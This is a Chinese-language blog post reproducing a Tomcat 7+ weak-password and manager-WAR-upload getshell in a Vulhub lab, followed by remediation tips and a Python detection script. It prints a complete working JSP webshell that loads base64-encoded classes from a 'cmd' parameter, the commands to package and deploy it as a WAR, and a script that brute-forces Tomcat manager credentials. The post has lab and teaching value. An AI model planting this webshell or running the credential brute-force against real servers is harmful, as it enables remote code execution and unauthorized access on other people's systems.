Tomcat7+ 弱口令 && 后台getshell漏洞

1 漏洞背景

Tomcat 是一个流行的开源Web应用服务器,用于部署和运行Java Web应用程序。Tomcat 7+ 版本中存在一个安全隐患,即默认的管理员密码可能较弱或者未被修改,攻击者可以利用这一漏洞登录到Tomcat的管理后台,并上传恶意的WAR包来执行任意代码

2 启动vulhub靶场

复制代码
进入目录
 cd vulhub/tomcat/tomcat8
启动漏洞环境
docker compose up -d
查看端口
docker-ompose ps

访问 ,您将看到页面,表示环境正在成功运行。

3 漏洞复现步骤

点击Manager App即可跳到管理登陆页面

输入用户名密码 tomcat:tomcat,来到管理界面

登录到后台后可以通过部署war包进行getshell

找一个a.jsp木马

复制代码
<%-- 使用时请删除此行, 连接密码: cmd --%>
<%!
class NATURAL extends ClassLoader{
  NATURAL(ClassLoader c){super(c);}
  public Class proper(byte[] b){
    return super.defineClass(b, 0, b.length);
  }
}
public byte[] tuple(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
  new NATURAL(this.getClass().getClassLoader()).proper(tuple(cls)).newInstance().equals(new Object[]{request,response});
}
%>
​

打包成war

复制代码
jar cvf tomcat.war a.jsp

上传打包的tomcat.war

生成一个tomcat的路径

在地址栏路径中访问http://192.168.1.20:8080/tomcat/a.jsp

蚁剑连接,密码cmd

4 修复方案

  1. 修改默认密码:确保Tomcat的管理后台使用了强密码,并定期更换密码。

  2. 限制访问权限:限制对Tomcat管理后台的访问权限,只允许可信的IP地址或网络段进行访问。

  3. 禁用不必要的模块:禁用Tomcat中不必要的模块和功能,减少潜在的安全风险。

  4. 定期更新和打补丁:定期更新Tomcat服务器和相关的Java环境,及时修复已知的安全漏洞。

  5. 使用Web应用防火墙(WAF):在Tomcat服务器前部署Web应用防火墙(WAF),对传入的请求进行过滤和检测,防止恶意请求的执行。

5 使用python脚本探测漏洞

弱口令脚本

复制代码
#!/usr/bin/env python  
  
import requests  
import base64  
  
def tomcat_weak_password():  
    """  
    检查 Tomcat 服务器是否存在弱密码。  
    """  
    # 输入目标 IP 地址(注意:这里应该是一个完整的 URL,如 http://192.168.1.1:8080/manager/)  
    url = input("请输入目标IP地址(包含端口和路径,如 http://IP:PORT/manager/): ")  
      
    # 常见的用户名列表  
    users = ['tomcat','admin','system','Administrator','root','123','tomcat']  
      
    # 常见的密码列表  
    passwords = ['12345','123','tomcat','admin','00000','tomcat']  
      
    # 遍历用户名和密码列表  
    for user in users:  
        for password in passwords:  
            # 拼接用户名和密码,并转换为 base64 编码  
            tomcat_passwd = user.strip() + ':' + password.strip()  
            encoded_password = base64.b64encode(tomcat_passwd.encode('utf-8'))  
              
            # 将 base64 编码的密码转换为字符串,并添加 'Basic ' 前缀  
            encoded_password_end = 'Basic ' + str(encoded_password, 'utf-8')  
              
            # 构造请求头  
            headers = {  
                'Content-Type': 'application/x-www',  # 注意:这里的内容类型可能不正确,Tomcat 管理页面可能不需要这个  
                'Authorization': encoded_password_end,  
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36'  
            }  
              
            # 发送 GET 请求  
            response = requests.get(url, headers=headers)  
              
            # 如果返回状态码为 200,则认为存在弱口令  
            if response.status_code == 200:  
                print('存在弱口令')  
                print('账号', user)  
                print('密码', password)  
                # 当找到一个弱密码后,立即退出循环  
                break  
  
# 调用函数  
tomcat_weak_password()

结果

相关推荐
Fortinet_CHINA2 小时前
工业网络安全新范式——从风险可见性到量化防御的进化
安全·web安全
网安小白的进阶之路4 小时前
A模块 系统与网络安全 第三门课 网络通信原理-3
网络·windows·安全·web安全·系统安全
HumanRisk4 小时前
HumanRisk-自动化安全意识与合规教育平台方案
网络·安全·web安全·网络安全意识教育
安全系统学习11 小时前
【网络安全】Mysql注入中锁机制
安全·web安全·网络安全·渗透测试·xss
缘友一世1 天前
网安系列【4】之OWASP与OWASP Top 10:Web安全入门指南
安全·web安全
安全系统学习1 天前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
聚铭网络2 天前
案例精选 | 某省级税务局AI大数据日志审计中台应用实践
大数据·人工智能·web安全
GLAB-Mary2 天前
AI会取代网络工程师吗?理解AI在网络安全中的角色
网络·人工智能·web安全
galaxylove2 天前
Gartner发布最新指南:企业要构建防御性强且敏捷的网络安全计划以平衡安全保障与业务运营
网络·安全·web安全
学习溢出2 天前
【网络安全】持续监控CI/CD:自动发现威胁与IoCs,软件供应链安全
运维·安全·web安全·网络安全·ci/cd